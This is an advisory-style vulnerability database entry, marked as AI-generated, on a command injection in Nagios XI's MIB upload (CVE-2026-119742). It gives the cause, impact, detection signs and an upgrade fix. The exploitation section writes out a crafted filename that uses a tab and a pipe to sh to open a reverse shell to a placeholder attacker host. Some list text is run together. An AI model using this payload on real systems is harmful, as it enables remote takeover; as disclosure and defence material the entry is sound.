
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-119742 is an OS command injection vulnerability in Nagios XI's MIB upload feature, affecting all versions before 2026R2. The install_mib() function in mibs.php applies an incomplete character-substitution filter that omits semicolons, pipes, and non-space IFS whitespace characters (such as tab characters) when sanitizing uploaded filenames before passing them to a grep command executed via exec(). An authenticated administrator can exploit this to achieve arbitrary OS command execution as the web server user. It carries a CVSS v3.1 base score of 7.2 (High) and a CVSS v4.0 base score of 8.6 (High), and was disclosed on November 3, 2026 (GitHub Advisory).
The root cause is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The install_mib() function in mibs.php attempts to sanitize uploaded MIB filenames using a deny-list approach, but the filter fails to account for tab characters and other non-space IFS whitespace, semicolons, and pipe characters. An attacker crafts a MIB filename containing a tab character followed by a shell command and a pipe to sh, which bypasses the incomplete filter and is passed unsanitized to exec(), resulting in shell command execution. The attack is delivered via a multipart POST request to mibs.php and requires authenticated administrator-level access (GitHub Advisory, VulnCheck Advisory).
Successful exploitation allows an authenticated administrator to execute arbitrary OS commands as the web server user on the Nagios XI host. This results in high impact to confidentiality, integrity, and availability of the vulnerable system, potentially enabling an attacker to read sensitive monitoring configuration data, modify system files, install backdoors, or disrupt the availability of the Nagios XI monitoring service. While the vulnerability does not directly impact subsequent/downstream systems per the CVSS v4.0 assessment, lateral movement from the compromised web server context remains a realistic post-exploitation risk (GitHub Advisory).
As of the disclosure date, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (GitHub Advisory). The NVD SSVC assessment confirms exploitation status as "none" and notes the attack is not automatable, as it requires authenticated administrator credentials. The EPSS score is approximately 4.09% (91st percentile), indicating a relatively elevated probability of exploitation within 30 days compared to other CVEs. No threat actor attribution or CISA KEV catalog listing has been identified for this vulnerability (GitHub Advisory).
sh — for example: validname[TAB]|sh -i >& /dev/tcp/attacker-ip/4444 0>&1 #.mib. The tab character bypasses the incomplete deny-list filter in install_mib().mibs.php. This can be done through the browser UI or directly via a tool such as curl with the crafted filename embedded in the Content-Disposition header.install_mib() function passes the unsanitized filename to a grep command via exec(), causing the injected shell command to execute as the web server user.mibs.php with filenames containing tab characters, pipe symbols, or shell metacharacters in the Content-Disposition header; PHP or application error logs referencing exec() calls with unexpected arguments./tmp directory, particularly web shells (e.g., .php files with obfuscated content); unexpected cron jobs or scheduled tasks added under the web server user account.apache2, nginx, or php-fpm) such as sh, bash, curl, wget, nc, or python; processes with network connections to external hosts initiated by the web server user.Upgrade Nagios XI to version 2026R2 or later, which contains the fix for this vulnerability (Nagios Security Disclosures). As interim mitigations, restrict MIB upload functionality to only the most trusted administrators and monitor the mibs.php endpoint for suspicious POST requests. Additionally, consider implementing a web application firewall (WAF) rule to detect and block requests with shell metacharacters in filename fields, and replace exec() calls with safer alternatives that do not invoke shell interpretation (GitHub Advisory).
Fix availability across major Linux distributions and their releases.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."